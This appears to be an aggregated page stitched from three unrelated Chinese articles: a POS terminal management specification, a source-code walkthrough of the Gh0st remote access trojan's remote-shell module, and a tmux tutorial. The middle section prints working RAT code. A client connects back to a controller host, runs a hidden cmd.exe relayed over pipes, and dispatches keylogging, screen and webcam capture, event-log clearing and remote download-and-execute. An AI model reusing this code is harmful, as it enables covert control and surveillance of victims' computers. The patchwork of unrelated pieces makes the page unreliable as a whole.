精华内容
下载资源
问答
  • PC控制台-终端管理

    2020-06-19 11:14:16
    PC控制台-终端管理

    PC控制台-终端管理

     

    展开全文
  • POS终端管理功能

    2019-01-24 11:52:45
    POS终端管理功能 入网POS终端管理功能分为三个层次:系统管理、操作人员和应用管理  系统管理  自检  POS终端开机后先进行自检,自检结束进入工作状态,在工作状态中也可以选择功能设置对POS终端进行自检。 ...

    POS终端管理功能

    入网POS终端管理功能分为三个层次:系统管理、操作人员和应用管理

        系统管理

            自检

            POS终端开机后先进行自检,自检结束进入工作状态,在工作状态中也可以选择功能设置对POS终端进行自检。

            自检一般返回的工作状态码:

            01 -打印机测试
            02 -磁条卡读卡器测试
            03 -通信端口测试
            04 -密码键盘测试
            05 -键盘测试
            06 -显示屏测试
            07 -IC卡读卡器测试

            程序下载管理

            程序管理是指对终端使用的一些应用程序进行管理。

            POS终端可以支持串口程序下载、双机对拷、联机应用程序下载等方式
            串行口程序下载: 使用串口通讯方式,下载更新应用程序。
            双机对拷: 同类POS机之间应用程序复制。
            联机应用程序下载: POS通过拨特定的管理电话号码或采用其他通讯方式(如CPRS、CDMA、TCP/IP等)从下载中心远程下载应用程序。

            参数管理

            POS终端参数可分为出厂参数、下发参数、可设定参数和联机可更改参数

                出厂参数

                出厂参数主要是与硬件相关的,影响硬件设备使用和运作的基本参数
            参数名     用途
            硬件版本号     标识当前设备硬件版本
            硬件序列号     当前设备唯一标识
            操作系统版本号     表示当前设备操作系统
            内存状态     表示内存使用情况
            通讯端口类型     识别可用的通讯端口种类
            通讯端口参数     根据具体应用更改设置
            MODEM类型     识别可用的MODEM种类
            MODEM参数     根据具体应用更改设置
            打印机类型     识别可用的打印机种类
            打印机参数     根据具体应用更改设置
            密码键盘类型     识别可用的密码键盘种类
            密码键盘参数     根据具体应用更改设置
            磁卡阅读器参数     根据具体设备、应用更改
            IC卡阅读器参数     根据具体设备、应用更改

                下发参数

                下发参数主要是用于设备自身管理和配置的参数
            参数名称     用途
            电话号码     用于设备管理及正常交易
            拨号参数     设置电话拨号参数
            终端编号     标识当前设备逻辑编号
            商户编号     标识使用设备的商户编号
            商户名称     表示商户的中文或英文名
            超时时间     通讯响应超时时间
            重试次数     通讯失败重试次数
            TPDU     交易报文的目的地址
            AID列表     终端支持的借/贷记应用列表,如ISO/IEC 7816-5,指明应用
            应用选择指示符     指示应用选择时终端上AID与卡片中的AID是完全匹配还是部分匹配
            认证中心公钥RID     与公钥索引一起标识认证中心的公钥
            认证中心公钥索引     与RID一起标识认证中心的公钥
            认证中心公钥模     公钥模值
            认证中心公钥指数     公钥指数
            认证中心公钥校验值     验证认证中心公钥
            认证中心公钥有效期     认证中心规定的有效期限
            认证中心公钥哈什算法标识     标识用于在数字签名方案中产生哈什结果的哈什算法
            认证中心公钥算法标识     标识使用在认证中心公钥上的数字签名算法
            TAC -缺省     标识如果有交易可以联机完成但终端没有联机交易能力时,拒绝交易的收单行条件
            TAC -联机     标示联机交易的收单行条件
            TAC -拒绝     标识不作联机尝试即拒绝交易的收单行条件
            应用版本号     支付系统给应用分配的版本号
            终端联机PIN支持能力     指示终端在每个AID的要求下是否支持联机PIN的输入
            缺省DDOL     卡片中无DDOL时用于构造内部认证命令的DDOL
            终端最低限额     IC卡消费时终端允许的最低脱机限额
            偏置随机选择的阀值     在终端风险管理中用于随机交易选择的值
            偏置随机选择的最大目标百分数     用于偏置随机选择的最大目标百分数
            随机选择的目标百分数     用于随机选择的目标百分数
            终端电子现金交易限额     终端使用此数据元(如果存在的话)判断一个交易的处理方式,当授权金额小于该限额时允许电子现金交易,否则设置终端行为代码并根据判断确认交易方式(小额支付参数)
            非接触读写器脱机最低限额     在AID联合中,用来指示读写器中非接触交易的最低限额
            非接触读写器交易限额     如果非接触交易的金额大于或等于此数值,则交易终止。允许在其他界面尝试此交易
            读写器持卡人验证方法(CVM)所需限制     如果非接触交易超过此值,读写器要求一个持卡人验证方法(CVM)
            终端国家代码     标识根据ISO3166表示的终端国家代码
            收单行标识     标识收单行
            商户分类码     商户分类码值
            交易货币代码     表示根据ISO 4217规定的交易货币代码
            交易货币指数     表示根据ISO 4217规定的从交易金额右起的隐含小数点位置
            终端性能     表示终端的卡片数据输入,CVM和安全能力
            附加终端性能     表明终端的数据输入输出能力
            应用版本号     支付系统对应用赋予的版本号
            商户标识     和收单行标识一起唯一地标识一个特定地商户
            终端类型     表明终端环境、通讯能力和操作控制

                可设定参数

                可设定参数主要是与磁条卡交易内容直接相关并需要长期存放在POS终端中使用的应用参数,包括以下几类:
                    基本参数类:
                    交易应用密钥:根据业务需求所要使用的所有密钥
                    当前重要编号:当前流水号、当前批次号、当前操作员号
                    最大日志笔数:允许当批交易保存的最大交易笔数
                    操作员管理表:操作员号、操作员密码、操作员属性
                    日期与时间表:实时时钟的日期和时间,在每次签到交易成功后调整
                    交易/状态控制类:
                    终端支持的交易类型:终端支持哪些交易(不支持的交易被屏蔽掉)
                    是否打印故障报告单:当冲正交易不成功或离线类交易上送不成功大于规定次数(即:消息重发次数)时,系统根据该参数的值确定是否需要打印“故障报告单”。1:打印;0:不打印。默认值为1
                    消费撤销交易是否刷卡:根据该参数的值确定消费撤销交易是否需要进行刷卡。1:刷卡;0:不刷卡
                    预授权完成撤销交易是否刷卡:根据该参数的值确定预授权完成撤销交易是否需要进行刷卡。1:刷卡;0:不刷卡
                    撤销类交易是否允许持卡人输入密码:根据该参数的值确定撤销类交易是否需要输入密码。1:输入;0:不输入
                    -预授权完成(请求)交易是否允许持卡人输入密码:根据该参数的值确定预授权完成(请求)交易是否需要输入密码。1:输入;0:不输入
                    退货交易最大金额:根据该参数的值判断退货交易的最大允许金额
                    测试交易最大金额:根据该参数的值判断退货交易的最大允许金额
                    磁条卡预授权完成方式参数:根据该参数的值确定磁条卡预授权完成的方式,并且显示相应的界面提示。参数为0时,终端同时支持预授权完成(请求)和预授权完成(通知);参数为1时,终端只支持预授权完成(请求); 参数为2时,终端只支持预授权完成(通知)
                    终端默认交易参数:根据该参数的值确定在终端显示待机界面时刷卡可直接进入的默认交易。1:消费;0:预授权
                    终端支持的密钥算法参数:根据该参数的值确定终端支持的密钥算法。1:单倍长密钥;0:双倍长密钥
                    IC卡确认参数:对于支持IC卡交易的终端,当从磁道读取的服务代码为“2xx”或“6xx”时,根据该参数的值确定是否提示操作员确认卡片是否为IC卡:1:提示;0:不提示

                联机可更改参数

                包括超时时间、重试次数、三个交易电话号码、一个管理号码、是否支持小费、小费百分比、是否支持手工输入卡号 、POS终端应用类型、是否自动签退、商户名称(中文简称或英文简称)、消息重发次数、离线交易上送方式、主密钥INDEX、终端支持的交易类型(不支持的交易被屏蔽掉)、终端支持的AID列表、应用选择指示符、认证中心公钥相关数据、TAC-缺省、TAC-联机、TAC-拒绝、缺省DDOL、终端最低限额、偏置随机选择的阈值、偏置随机选择的最大目标百分数、随机选择的目标百分数、终端电子现金交易限额、非接触读写器脱机最低限额、非接触读写器交易限额、读写器持卡人验证方法(CVM)所需限制等
               

            终端状态管理

            POS终端可以有以下四种状态:正常工作状态、已签退状态、测试状态、锁定状态

        操作人员管理

        POS终端上的操作员分为二级:系统管理员和操作员

            系统管理员

            系统管理员负责对POS系统进行管理,包括软件下载、参数设置。POS使用密码认证系统管理员身份

            系统管理员代码为“99”(两位数字),其密码长度为8位数字,系统管理员的密码验证在POS上完成。

            操作员管理

            POS操作员分主管操作员和一般操作员

                主管操作员

                主管操作员的职责是管理POS和其他操作员,包括增加、删除操作员等,本身不能做POS签到和进行交易

                退货和撤销交易需要经过主管操作员的身份验证和确认

                主管操作员密码的修改和验证在终端上进行

                主管操作员代码为“00”(两位数字),其密码长度为6位数字,初始密码为“123456”

                一般操作员

                一般操作员只能完成交易功能,退货和撤销交易需输入主管操作员的密码

                一般操作员的密码存放在POS终端内,密码修改和验证在终端上进行

                一般操作员代码为两位数字,初始为五个,即“01”-“05”。主管操作员可添加一般操作员,最少还可添加15个,即POS至少可支持20个一般操作员。一般操作员的密码长度为4位数字,初始密码为“0000”

                一般操作员的密码需由自身修改。

        应用管理
            签到管理
            批结算管理
            批上送
            签退管理
            回响测试
            参数传递
            POS终端状态上送
            TMS参数下载
            交易查阅功能
                查询交易记录
                查询交易总额
                重打上笔交易
                印交易记录
                打印交易总额
                电子钱包查余额
                电子现金明细查询
            锁定功能
            清除POS记录

    展开全文
  • Ghost之远程终端管理

    2018-05-23 00:04:13
    主要分析,客户端连接上主控端后,主控端主动要求进行终端管理后的一系列实现过程。 一、主控端发起远控申请指令COMMAND_SHELL 1、点击“终端管理”按钮后,主控端获取要进行远控的客户端(这里我习惯称为客户端...

    主要分析,客户端连接上主控端后,主控端主动要求进行终端管理后的一系列实现过程。


    一、主控端发起远控申请指令COMMAND_SHELL

    1、点击“终端管理”按钮后,主控端获取要进行远控的客户端(这里我习惯称为客户端,也有人称被控端为服务端)连接上来的套接字,然后向该客户端发送指令COMMAND_SHELL

    二、客户端对收到的远控申请处理

    1、客户端的工作线程WorkThread收到主控端的数据,调用OnRead进行对接收的数据解析,大约包括检测数据头“GHOST”、数据完整性检测和解压数据包,然后调用OnReceive函数(如下),根据数据的消息头进行相应的操作。

    m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());

    2、跟进m_pManager的OnReceive后,发现CManager的OnReceive函数,并没有进行实现。
    以下是CManager中对于OnReceive的函数声明,可以看出该方法为一个虚函数,肯定是有类对该方法进行了重写。

    virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);

    3、回头想下m_pManager的赋值是在哪呢?
    在MainDll中,有以下两句代码对m_pManager进行赋值,而CKernelManager继承于CManager,同时对OnReceive进行了重写。

    CKernelManager  manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
    socketClient.setManagerCallBack(&manager);

    CKernelManager中对于OnReceive方法的重写源码如下:

    void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
    {
        switch (lpBuffer[0])
        {
        case COMMAND_ACTIVED:
            InterlockedExchange((LONG *)&m_bIsActived, true);
            break;
        case COMMAND_LIST_DRIVE: // 文件管理
            m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, 
                (LPVOID)m_pClient->m_Socket, 0, NULL, false);
            break;
        case COMMAND_SCREEN_SPY: // 屏幕查看
            m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
                (LPVOID)m_pClient->m_Socket, 0, NULL, true);
            break;
        case COMMAND_WEBCAM: // 摄像头
            m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
                (LPVOID)m_pClient->m_Socket, 0, NULL);
            break;
        case COMMAND_AUDIO: // 摄像头
            m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,
                (LPVOID)m_pClient->m_Socket, 0, NULL);
            break;
        case COMMAND_SHELL: // 远程sehll
            m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager, 
                (LPVOID)m_pClient->m_Socket, 0, NULL, true);
            break;
        case COMMAND_KEYBOARD: 
            m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
                (LPVOID)m_pClient->m_Socket, 0, NULL);
            break;
        case COMMAND_SYSTEM: 
            m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
                (LPVOID)m_pClient->m_Socket, 0, NULL);
            break;
    
        case COMMAND_DOWN_EXEC: // 下载者
            m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
                (LPVOID)(lpBuffer + 1), 0, NULL, true);
            Sleep(100); // 传递参数用
            break;
        case COMMAND_OPEN_URL_SHOW: // 显示打开网页
            OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
            break;
        case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页
            OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
            break;
        case COMMAND_REMOVE: // 卸载,
            UnInstallService();
            break;
        case COMMAND_CLEAN_EVENT: // 清除日志
            CleanEvent();
            break;
        case COMMAND_SESSION:
            CSystemManager::ShutdownWindows(lpBuffer[1]);
            break;
        case COMMAND_RENAME_REMARK: // 改备注
            SetHostID(m_strServiceName, (LPCTSTR)(lpBuffer + 1));
            break;
        case COMMAND_UPDATE_SERVER: // 更新服务端
            if (UpdateServer((char *)lpBuffer + 1))
                UnInstallService();
            break;
        case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包
            break;
        }   
    }

    4、接下来便是根据指令COMMAND_SHELL调用Loop_ShellManager线程,并将套接字作为线程参数传入。

    DWORD WINAPI Loop_ShellManager(SOCKET sRemote)
    {
        CClientSocket   socketClient;
        if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
            return -1;
    
        CShellManager   manager(&socketClient);
    
        socketClient.run_event_loop();
    
        return 0;
    }

    其实这里可以发现,我们传入的套接字并没有使用到。而是新创建了一个套接字,专门用于进行一系列的远程终端的数据收发操作。
    其中的CShellManager类主要就是进行远程终端管理的相关操作实现,该类的构造函数实现了相关的管道初始化和线程的创建。

    CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
    {
        SECURITY_ATTRIBUTES  sa = {0};    
        STARTUPINFO          si = {0};
        PROCESS_INFORMATION  pi = {0}; 
        char  strShellPath[MAX_PATH] = {0};
    
        m_hReadPipeHandle   = NULL;
        m_hWritePipeHandle  = NULL;
        m_hReadPipeShell    = NULL;
        m_hWritePipeShell   = NULL;
        sa.nLength = sizeof(sa);
        sa.lpSecurityDescriptor = NULL; 
        sa.bInheritHandle = TRUE;
    
        //这里创建管道了  
        if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
        {
            if(m_hReadPipeHandle != NULL)   CloseHandle(m_hReadPipeHandle);
            if(m_hWritePipeShell != NULL)   CloseHandle(m_hWritePipeShell);
            return;
        }
    
        if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0)) 
        {
            if(m_hWritePipeHandle != NULL)  CloseHandle(m_hWritePipeHandle);
            if(m_hReadPipeShell != NULL)    CloseHandle(m_hReadPipeShell);
            return;
        }
    
        memset((void *)&si, 0, sizeof(si));
        memset((void *)&pi, 0, sizeof(pi));
    
        GetStartupInfo(&si);
        si.cb = sizeof(STARTUPINFO);
        si.wShowWindow = SW_HIDE;
        si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
        si.hStdInput  = m_hReadPipeShell;                           //将管道赋值
        si.hStdOutput = si.hStdError = m_hWritePipeShell; 
    
        GetSystemDirectory(strShellPath, MAX_PATH);
        strcat(strShellPath,"\\cmd.exe");
        //创建cmd进出  并指定管道
        if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE, 
            NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) 
        {
            CloseHandle(m_hReadPipeHandle);
            CloseHandle(m_hWritePipeHandle);
            CloseHandle(m_hReadPipeShell);
            CloseHandle(m_hWritePipeShell);
            return;
        }
        m_hProcessHandle = pi.hProcess;
        m_hThreadHandle = pi.hThread;
    
        //通知主控端 一切准备就绪
        BYTE    bToken = TOKEN_SHELL_START;       
        Send((LPBYTE)&bToken, 1);
        WaitForDialogOpen();
        //然后创建一个读取管道数据的 线程 
        m_hThreadRead = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);
        //再创建一个等待的线程  等待管道关闭 也就是用户关闭终端管理
        m_hThreadMonitor = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorThread, (LPVOID)this, 0, NULL);
    }

    这里会发送一个指令TOKEN_SHELL_START,用于通知主控端这里已经准备就绪。

    三、主控端收到客户端准备就绪指令TOKEN_SHELL_START

    1、同样是解压数据包,然后调用主窗体类中的ProcessReceiveComplete方法,对接收到的数据包根据数据头进行相应处理

    case TOKEN_SHELL_START:
        g_pPCRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
        break;

    2、WM_OPENSHELLDIALOG是自定义的一个消息,主窗体收到该消息后:

    ClientContext   *pContext = (ClientContext *)lParam;
    //这里定义远程终端的对话框
    CShellDlg   *dlg = new CShellDlg(this, m_iocpServer, pContext);
    
    dlg->Create(IDD_SHELL, GetDesktopWindow());
    dlg->ShowWindow(SW_SHOW);
    
    pContext->m_Dialog[0] = SHELL_DLG;
    pContext->m_Dialog[1] = (int)dlg;

    主控端打开自己实现的用于远程终端控制的CShellDlg,该Dlg中实现了相关的远程终端操作。
    窗体打开后,主控端会发送指令COMMAND_NEXT,客户端在WaitForDialogOpen()中收到该指令后,创建ReadPipeThread线程,用于对于远程终端操作的客户端实现(管道)。

    四、主控端与客户端的交互

    接下来便是,主控端与客户端的交互。客户端根据主控端的Shell指令进行相应的操作。
    1、主控端对客户端数据到来的处理流程
    最先是IOCP模型收到数据包,然后进行分发给主控端的消息处理,主控端将完整收到的数据包后调用ProcessReceiveComplete进行消息分发,在ProcessReceiveComplete中判断该套接字是否与窗口关联(部分源码如下),然后判断该窗口是否为远程终端管理窗口

    if (pContext->m_Dialog[0] > 0)
    {
        switch (pContext->m_Dialog[0])
        {
        ...
        case SHELL_DLG:
            ((CShellDlg *)dlg)->OnReceiveComplete();
            break;
        ...
        }
    }

    然后调用CShellDlg中的OnReceiveComplete,进行将收到的数据显示出来的功能,这样就完成了对客户端发来的数据进行的处理。

    void CShellDlg::OnReceiveComplete(void)
    {
        AddKeyBoardData();
        m_nReceiveLength = m_edit.GetWindowTextLength();
    }

    2、主控端对客户端发送Shell指令流程
    解析出写的Shell指令后,直接通过套接字发送即可

    BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
    {
        //如果是键盘按下
        if (pMsg->message == WM_KEYDOWN)
        {
            // 屏蔽VK_ESCAPE、VK_DELETE
            if (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_DELETE)
                return true;
            //如果是可编辑框的回车键
            if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_edit.m_hWnd)
            {
                //得到窗口的数据大小
                int len = m_edit.GetWindowTextLength();
                CString str;
                //得到窗口的字符数据
                m_edit.GetWindowText(str);
                //加入换行符
                str += "\r\n";
    
                m_iocpServer->Send(m_pContext, (LPBYTE)str.GetBuffer(0) + m_nCurSel, str.GetLength() - m_nCurSel);
                m_nCurSel = m_edit.GetWindowTextLength();
            }
            // 限制VK_BACK
            if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_edit.m_hWnd)
            {
                if (m_edit.GetWindowTextLength() <= m_nReceiveLength)
                    return true;
            }
        }
        // Ctrl没按下
        if (pMsg->message == WM_CHAR && GetKeyState(VK_CONTROL) >= 0)
        {
            int len = m_edit.GetWindowTextLength();
            m_edit.SetSel(len, len);
            // 用户删除了部分内容,改变m_nCurSel
            if (len < m_nCurSel)
                m_nCurSel = len;
        }
    
        return CDialog::PreTranslateMessage(pMsg);
    }

    3、客户端对主控端发来的Shell指令的处理流程
    客户端收到主控端的数据后,调用OnReceive函数,将主控端发送来的数据写入到cmd的输入管道中

    void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
    {
        if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)      //判断是否为通知主控端对话框打开
        {
            NotifyDialogIsOpen();
            return;
        }
    
        unsigned long   ByteWrite;
        WriteFile(m_hWritePipeHandle, lpBuffer, nSize, &ByteWrite, NULL);
    }

    数据写入到输入管道中后,ReadPipeThread线程读取到管道数据,然后发送给主控端。

    DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
    {
        unsigned long   BytesRead = 0;
        char    ReadBuff[1024];
        DWORD   TotalBytesAvail;
        CShellManager *pThis = (CShellManager *)lparam;
        while (1)
        {
            Sleep(100);
            while (PeekNamedPipe(pThis->m_hReadPipeHandle, ReadBuff, sizeof(ReadBuff), &BytesRead, &TotalBytesAvail, NULL)) 
            {
                //如果没有数据就跳出本本次循环
                if (BytesRead <= 0)
                    break;
                memset(ReadBuff, 0, sizeof(ReadBuff));
                LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalBytesAvail);
                //读取管道数据
                ReadFile(pThis->m_hReadPipeHandle, lpBuffer, TotalBytesAvail, &BytesRead, NULL);
                // 发送数据
                pThis->Send(lpBuffer, BytesRead);
                LocalFree(lpBuffer);
            }
        }
        return 0;
    }

    致敬Ghost作者。

    展开全文
  • 效率为王:终端管理工具 Tmux

    千次阅读 2018-01-10 00:00:00
    本文来自作者 woosley 在 GitChat 上分享 「效率为王:终端管理工具 Tmux」,「阅读原文」查看交流实录。「文末高能」编辑 | 哈比简介Tmux 是一款非常实用的终端复用器,用来管理一个终端窗口中运行的多个终端...
        

    ?wx_fmt=gif&wxfrom=5&wx_lazy=1

    本文来自作者 woosley  GitChat 上分享 「效率为王:终端管理工具 Tmux」,阅读原文查看交流实录。

    文末高能

    编辑 | 哈比

    简介

    Tmux 是一款非常实用的终端复用器,用来管理一个终端窗口中运行的多个终端会话。它通过会话,窗口,面板的形式高效且有序的管理你所有的工作终端。

    此外,它还可以通过将终端会话置于后台运行,在需要时按需接入,以及将会话共享给其他人,是远程办公和结对编程的利器。无论是前端还是后端开发工程师,运维人员,都值得将其加入个人的日常工具列表。

    安装

    在 MacOs 下,安装 tmux 非常简单,使用 homebrew 便可以安装最新的版本:

    brew install tmux

    对于 Linux,大部分发行版都有打包 tmux,可以通过包管理器安装,比如在 Ubuntu 下,可以使用 apt 安装。

    apt install tmux

    在 windows 下想使用 tmux 有两种方法:

    • window10 加入了 linux 子系统的功能,用户可以在 windows 下使用 Ubuntu linux。安装 tmux 的方法和原生 Ubuntu 完全一样;

    • 对于 windows7 以及更加古老的版本,个人推荐使用 Cygwin,这是一个在 windows 下模拟 linux 的工具,提供了大部分 *nix 软件的安装,里面就包括了 tmux。

    初次使用

    初次使用 tmux,只需要在终端下面键入命令:

    tmux

    默认情况下会启动一个新的会话(session)。这时候窗口显示如下:

    ?wx_fmt=png

    可以看到 Tmux 在默认终端上面启动了一个新的界面。包括原来的 shell 窗口和下方的状态栏。

    状态栏显示了当前 tmux session 的基本信息。

    • [0] 代表当前 session 的名字;

    • 0:bash 代表当天 session 的第一个窗口,名字为 bash;

    • 其他部分为当前主机名,以及当前时间。

    作为一款基于终端的工具,tmux 所有的操作都使用键盘快捷键来进行,熟悉了 tmux 的快捷键之后,我们可以把自己的双手从鼠标完全解放出来,对提高工作生产力有极大的作用。

    tmux 的快捷键使用 Prefix + key 的形式。如果使用过 Gnu screen,那么对这种模式应该很熟悉,不同的是,Gnu screen 默认的 prefix 是 ctrl + a,而 tmux 的默认快捷键是 ctrl + b,按键方法为同时按下 ctrl 键 和 b 键。这个组合是可以定制的,在本文中,我们用 prefix 来代表这个按键组合。

    现在我们可以使用快捷键创建一个新的窗口,按下 prefix + c(同时按下 Ctrl + b,放开,然后按下 c)。

    效果如下图所示:

    ?wx_fmt=jpeg

    此时整个窗口没有太大的变化,只是下面的状态栏多了一个 1:bash,表示当前启动了两个窗口。

    现在可以试着按下 prefix + n,看 tmux 如何在不同的窗口间转跳。

    服务器和会话

    tmux 本质上可以说是一个服务器,当 tmux 命令运行的时候,后台运行了一个 tmux 服务,并启动一个会话,会话和服务器之间通过 Unix socket 来通信。

    默认情况下启动的 tmux 会话通过数字命名,比如第一个会话为 0。可以通过:

    tmux new -s session_name

    来创建一个命名的 tmux 会话,比如tmux new -s test。启动会话之后,tmux 自动连接到此会话之上。我们可以脱离会话,这样可以将会话里面运行的任务置于后台,在需要的时候重新连接。

    脱离会话的快捷键为 prefix + d,脱离会话之后系统回到之前的终端。用这种方法,我们可以方便在在远程主机上启动一个长期运行的 tmux 会话,运行我们想长期运行的程序。我们可以用 tmux ls查看当前所有创建的 session,比如:

    tmux ls learn: 1 windows (created Sun Dec 17 21:03:20 2017) [80x24] test: 1 windows (created Sun Dec 17 20:59:44 2017) [80x24]

    这里我创建了两个 tmux 会话,名字分别为 testlearn

    重新连接 tmux 的命名为tmux attach。在没有任何参数的情况下默认连接最新创建的会话。可以添加参数-t $name,连接名字为$name的 tmux 会话。比如tmux a -t learn。同时这里显示了一个 tmux 的小技巧,很多 tmux 的命令可以缩写,这里将 attach 缩写成为了 a。

    在 tmux session 里面,可以通过 prefix + s选择并快速切换 tmux 会话,如下图所示。tmux 会弹出一个会话的选择列表,可以通过方向键选择我们想打开的会话。

    ?wx_fmt=jpeg

    如果在创建了会话之后想重命名当前会话,可以使用prefix + $,在底部弹出的输入框里面输入想要的名字即可。这里也可以使用 tmux 的命令模式。按下prefix + :,在输入框里输入:rename-session new-session(支持 tab 补全),便可以重命名当前的会话。

    注意当服务器重启之后,tmux 的会话信息会丢失。要持久化保存 tmux 会话信息,在本文的 tmux 插件部分会介绍一款简单易用的插件  tmux-resurrect

    窗口

    之前我们演示了如何创建新的窗口,并使用prefix + n,表示选择下一个窗口。

    在不同窗口之间移动,除了 prefix + n之外,还可以用数字键,选择第 N 个窗口,注意 tmux 中窗口的序号是从 0 开始,因此prefix + 1表示选择第二个窗口。prefix + p表示转跳到前一个窗口。

    我们还可以使用快捷键prefix + w来弹出一个虚拟的窗口列表,然后使用方向键来选择所需要打开的窗口。

    使用prefix + ,可以用来重命名当前的窗口,对应的命令模式为rename-window

    键入 exit,会退出当前窗口,但是有的时候窗口可能会卡死,此时我们可以使用prefix + &,在输入确认之后,强制杀死当前窗口。

    面板

    窗口可以分割为更小的面板,配合大屏显示器使用,非常有黑客的感觉。首先我们使用:

    tmux new -s pane

    创建一个新的 session,然后键入prefix + %,然后键入prefix + ",可以得到如下这样一个被分割的窗口:

    ?wx_fmt=png

    当前光标所在的面板被高亮了出来。 我们可以继续键入prefix + %prefix + "查看继续分割面板的效果。要在不同的面板之间转跳,使用快捷键prefix + o。如果要想上下左右的移动到不同的面板,使用快捷键prefix + 方向键

    在默认情况下,tmux 平均分割一个面板。我们可以通过prefix + ctrl + 方向键来调整面板的大小。

    有的时候我们可能需要将一个面板放大,占满整个窗口。我们可以使用prefix +!,将面板转化为一个新的窗口;或者也可以使用prefix + z,使当前面板最大化为窗口,并暂时隐藏其他的面板。

    强制退出一个面板的快捷键为prefix + x

    小结

    会话 + 窗口 + 面板的组合是提升我们工作效率的一个强力组合。一个推荐的使用方法为对不同的项目建立不通的会话,使用窗口来分割一个项目里面的不同工作内容,然后使用面板来适用大屏开发。下面的一个截屏是我工作所建立的所有会话列表:

    ?wx_fmt=png

    不同的项目被我放到了不同的会话里面,当我需要转跳到某一个项目的时候,使用prefix + s转跳到对应会话,之前项目所配置好的环境立刻就恢复了。

    tmux 配置

    tmux 比 screen 更加流行的一个原因就是在默认配置的情况下它已经足够好用了。当然,我们也可以通过配置文件对 tmux 进行个性化配置。它的默认配置文件为 ~/.tmux.conf,如果需要使用其他的文件,可以使用 tmux -f选项,读入另外一个配置文件。

    默认 prefix

    我们可以通过配置文件更改 tmux 的默认 prefix。个人使用的 prefix 为ctrl-z,习惯了 screen 的人可以配置为ctrl-a。这里以ctrl-z为例,用文本编辑器打开~/.tmux.conf,在里面加入内容:

    set -g prefix C-z unbind-key C-b

    这里 -g表示全局设置,应用于我们创建的所有会话。这是ctrl-b可以被释放出来组合,这里通过unbind-key C-b实现。

    要使这个设置生效,我们应该重新加载 .tmux.conf。键入prefix + :打开命名模式,在输入框内输入source ~/.tmux.conf。此时我们就可以使用新的 prefix 了。

    快速重载配置文件

    修改完配置文件之后再使用命令行模式重载实在太麻烦了,我们可以自定义一个快捷键,简化这个操作。在~/.tmux.conf里面加入:

    bind-key r source-file ~/.tmux.conf\; display-message "Config reloaded"

    我们最后一次使用prefix + : + source ~/.tmux.conf的方式重新加载配置文件。之后就可以用prefix + r的方式来做这件事了。在 .tmux.conf 中加入。

    bind e new-window -n ".tmux.conf" "vim ~/.tmux.conf"

    这个prefix + e的组合可以让你迅速的打开 .tmux.conf 并进行配置修改,配置完成之后使用 prefix + r的方式重新加载,整个操作在几秒内即可完成。

    更改默认序号

    由于 tmux 的窗口和面板默认序号都是从 0 开始,我们可以更改这个设置,使默认序号从 1 开始。

    set -g base-index 1         setw -g pane-base-index 1

    更改分割面板的快捷键

    tmux 垂直和水平分割面板的快捷键分别为prefix + %prefix + "。这两个按键比较难记忆,我们可以将其更改为prefix + |prefix + -。将以下配置加入 ~/.tmux.conf

    bind-key | split-window -h bind-key - split-window

    更改面板间移动的快捷键

    大部分键盘操作工具,比如 vim,都使用jkhl来进行上下左右的移动操作。我们可以将面板间移动的操作绑定到对应的按键。配置如下:

    bind-key l select-pane -R bind-key h select-pane -L bind-key j select-pane -D bind-key k select-pane -U

    面板大小调整

    我们用类似移动键的方式来进行面板的大小调整。将快捷键重新定义为 JKHL。配置如下:

    bind-key L resize-pane -R 5 bind-key H resize-pane -L 5 bind-key K resize-pane -U 5 bind-key J resize-pane -D 5

    鼠标模式

    鼠标模式有时候也可能非常有用,比如你可能想用鼠标来选中一个面板或者窗口,用鼠标调整面板大小,或者用鼠标滚轮来向上滚动浏览历史。

    开启 / 关闭鼠标模式的配置为 set -g mouse on/off,需要在命令模式下敲入这串字符。我们可以更进一步,通过绑定到快捷键prefix +m来触发鼠标模式的开关。配置如下:

